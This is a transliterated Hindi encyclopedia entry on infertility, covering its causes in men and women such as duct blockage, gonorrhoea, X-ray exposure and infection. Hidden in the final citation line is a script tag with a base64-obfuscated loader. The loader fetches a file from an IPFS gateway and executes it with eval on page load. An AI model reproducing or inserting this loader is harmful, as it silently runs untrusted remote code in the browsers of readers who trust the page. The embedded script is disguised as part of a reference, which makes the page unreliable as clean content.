अनुर्वरता
anurvarata santanotpatti ki asamarthata ko kaha jata hai. doosare shabdoan mean, us avastha ko anurvarata kahate hai jisamean purush ke shukranu aur stri ke dianb ka sanyog nahian ho pata, jisase utpattikram praranbh nahian hota. yah dasha stri aur purush donoan ke ya kisi ek ke dosh se utpann ho sakati hai. santanotpatti ke lie avashyak hai ki svasth shukranu aandagranthi mean utpann hokar mootramarg mean hote hue maithun kriya dvara yoni mean garbhashay ke mukh ke pas pahuanch jae aur vahaan se svasth garbhashay ki griva mean hota hua dianbavahani mean pahuanchakar svasth dianb ka, jo dianbagranthi se nikalakar vahani ke jhalaradar mukh mean a gaya hai, sansechan kare. isi ke pashchath utpattikram praranbh hota hai. yadi svasth shukranu aur dianb ki utpatti nahian hoti, ya unake nirdisht sthan tak pahuanchane mean koee badha upasthit hoti hai, dianb aur shukranu ka sanyog nahian ho paega aur usaka parinam anurvata hoga. manasik dasha bhi kabhi-kabhi isaka karan ho jati hai. yah anuman kiya gaya hai pray: das pratishat vivah anurvar hote haian.
karan-purush mean anurvarata ke do prakar ke karan ho sakate haian:
- aandagranthi mean banakar shukranu ke nikalane par yoni tak pahuanchane ke marg mean kaee rukavat.
- aandagranthiyoan ki shukranuoan ko utpann karane mean asamarthata.
rukavat ke mukhy sthan mootramarg jahaan gonomeh (soojak, ganoriya) rog ke karan aisa sankoch (stenosis) utpann ho jata hai ki viry usake dvara pravahanalika ki yatra poori nahian kar pata. skhalananalika, shukravahini-nalika, athava upaand ya shukrashay ki nalikaoan mean bhi aisa hi upaand akraant hue rahate haian unamean se 30 pratishat anurvar pae jate haian. any sankramanoan se bhi yahi parinam ho sakata hai, kiantu aisa adhikatar gonomeh se hi hota hai. aandagranthiyoan mean shukranu utpatti par eks-re ka bahut hanikarak prabhav p data hai, yadyapi granthiyoan mean any srav poorvavath hi bane rahate haian. isi prakar any sankramak rogoan mean bhi, jaise nyoomoniya, taiphaid adi mean, shukranu utpatti ruk jati hai. aandagranthi mean shodh ya pooyotpadan hone se (jisaka karan pray: gonomeh hota hai) shukranu utpatti sada ke lie nasht ho ja sakati hai. any aant:sravi granthiyoan se bhi, visheshakar pityootari ke agrabhag se, is kriya ka bahut sanbandh hai. ahar par bhi kuchh sima tak shukranu utpatti nirbhar rahati hai. vitamin ee isake lie avashyak mana jata hai.
purushoan ki bhaanti striyoan mean bhi eks-re aur sankraman se dianbagranthi ki dianbotpadan kriya kam ya nasht ho sakati hai. gonomeh ke parinam striyoan mean purushoan ki apeksha bhayankar hote haian. dianb ke marg mean vahani ke mukh par, ya usake bhitar shoth ke parinamasvaroop sankoch banakar avarodh utpann kar dete haian. garbhashay ki aantarkala mean shoth hokar aur usake pashchath sautrik ootak banakar kala ko garbhadharan ke ayogy bana dete haian. garbhashay ki griva tatha yoni ki kala mean shoth hone se shukranu ka garbhashay mean pravesh karana kathin hota hai. kuchh rogiyoan mean dianbagranthi tatha garbhashay avikasit dasha mean rah jate haian. jab dianbagranthi dianb utpann nahian kar pati aur garbhashay garbh dharan nahian karata. dasha ke karanoan ka anveshan karake unhian ke anusar chikitsa ki jati hai.[1]
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 126 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>